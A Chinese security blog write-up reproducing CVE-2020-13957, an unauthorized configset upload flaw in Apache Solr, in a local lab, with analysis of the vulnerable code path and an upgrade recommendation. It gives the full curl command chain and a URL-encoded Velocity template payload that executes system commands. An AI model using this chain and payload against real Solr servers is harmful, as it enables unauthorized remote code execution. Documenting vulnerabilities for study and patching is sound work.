apache http上传过慢_CVE202013957：Apche Solr 未授权上传漏洞复现

上方蓝色字体关注我们，一起学安全！ 作者：
hatjwe&ebounce @Timeline Sec 本文字数：1778 阅读时长：5~6min 声明：请勿用作违法用途，否则后果自负 0x01 简介

Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。

0x02 漏洞概述

漏洞编号CVE-2020-13957

在特定的Solr版本中ConfigSet API存在未授权上传漏洞，攻击者利用漏洞可实现远程代码执行。

整个利用链流程：

上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

0x03 影响版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2

0x04 环境搭建 为

1、solr-7.0.1

http://archive.apache.org/dist/lucene/solr/7.0.1/

在下载好的solr下bin目录打开cmd执行

solr.cmd start -c

启动SolrCloud，访问http://127.0.0.1:8983

0x05 漏洞复现

1、将

\server\solr\configsets\_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备)，conf目录下所有文件打包成一个压缩文件

2、通过上传API将zip上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @7.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=file1"

3、根据UPLOAD的配置，创建一个新的配置，绕过不能通过直接UPLOAD创建collection的限制

curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

4、根据CREATE得到的新configset创建恶意collection

curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"

5、我们可以利用已上传的collection进行远程命令执行

http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

PS：如果不成功可以检查下params.resource.loader.enabled的值设置为true，这是利用solrVelocity模板进行rce的先决条件

可以通过solr could界面查看上传collection的configset设置信息

0x06 漏洞分析

当传入zip配置文件时，会调用getTrusted函数进行判断是否允许创建该配置对应的node:

org.apache.solr.handler.admin.ConfigSetsHandler

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"

虽然该配置文件集会被标记成未授信，但仍然会被写入到服务器中

所以我们第一步上传的配置集会被写入到服务器中，然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等，因此挨个全局搜索找到判定点：

org.apache.solr.handler.admin.ConfigSetsHandler

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"

结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板，创建新的模板其名字为evil1，跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀，筛选对应的CREATE配置：

我们传入的immutable默认为false，因此从配置的角度来说URL可以稍微简化一点：

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"

这里同样可以上传成功，值得注意的是我们之前在getTrusted打下的断点没有触发，意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的：

随后我们跟进下一步：

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"

同样的道理这里出现关键词replicationFactor一个似乎是一个工厂函数推测，配置就是在这一步创建的，全局搜索replicationFactor，最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call

这个函数非常长，具体作用就是创建collection并判断选用的是哪个configsets，最后刷新collection列表：

通过这一系列的操作最后就能够生成新的collection，即配置被加载，从而能被攻击者利用了。

0x07 修复建议

1.升级到最新版本

http://archive.apache.org/dist/lucene/solr/

0x08 总结

这个漏洞是由于连续UPLOAD上传configset后configset API只会检测第一次而产生未授权漏洞，看了很多文章都是直接上传一个configset之后collection感觉上有些问题，于是便在开篇写了我认为的利用链，如果有疑问欢迎师傅一起沟通。

参考链接：

https://blog.csdn.net/weixin_45728976/article/details/109102413

https://blog.csdn.net/caiqiiqi/article/details/109046187

阅读原文看更多复现文章Timeline Sec 团队安全路上，与你并肩前行